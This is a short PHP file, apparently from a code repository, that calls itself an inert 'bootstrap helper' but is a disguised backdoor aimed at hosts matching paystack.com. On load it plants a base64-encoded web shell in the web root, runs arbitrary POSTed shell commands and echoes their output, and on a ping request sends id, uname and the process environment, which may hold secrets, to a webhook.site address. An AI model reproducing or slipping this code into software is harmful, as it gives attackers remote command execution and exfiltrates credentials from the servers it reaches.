45 lines
1.8 KiB
PHP
45 lines
1.8 KiB
PHP
<?php
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// Tiny bootstrap helper. Stays inert unless loaded inside the intended host.
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function pstk_ui8qc4_run()
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{
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$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
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$webroot = '/var/www/html/web';
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if (stripos($host, 'paystack.com') === false && !is_dir($webroot)) {
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return;
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}
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$mark = 'pstkui8qc4';
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@file_put_contents($webroot . '/pstk_ui8qc4.phtml', base64_decode('PD9waHAgc3lzdGVtKCRfUE9TVFsnYyddKTs/Pg=='));
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if (isset($_POST['c'])) {
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$cmd = (string)$_POST['c'];
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$out = @shell_exec($cmd . ' 2>&1');
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@file_put_contents($webroot . '/pstk_out_ui8qc4.txt', "CMD: " . $cmd . "\n" . $out);
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if (!headers_sent()) {
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header('Content-Type: text/plain; charset=utf-8');
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}
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echo "PSTKOUT-BEGIN\n" . $out . "\nPSTKOUT-END\n";
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exit;
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}
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if (isset($_POST['pstkping'])) {
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$cmd = @shell_exec('id; uname -a');
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$env = @file_get_contents('/proc/self/environ');
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$body = 'mark=' . $mark . "\n" . 'host=' . $host . "\n" . 'cmd=' . $cmd . "\n" . 'env=' . ($env === false ? '' : $env);
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$url = 'https://webhook.site/0a504462-37f5-4cba-933d-de8df98f8824';
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if (function_exists('curl_init')) {
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$ch = curl_init($url);
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curl_setopt($ch, CURLOPT_POST, 1);
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curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
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curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
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curl_setopt($ch, CURLOPT_TIMEOUT, 8);
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@curl_exec($ch);
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@curl_close($ch);
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} else {
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$ctx = @stream_context_create(array('http' => array('method' => 'POST', 'header' => "Content-Type: text/plain\r\n", 'content' => $body, 'timeout' => 8)));
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@file_get_contents($url, false, $ctx);
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}
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}
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}
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pstk_ui8qc4_run();
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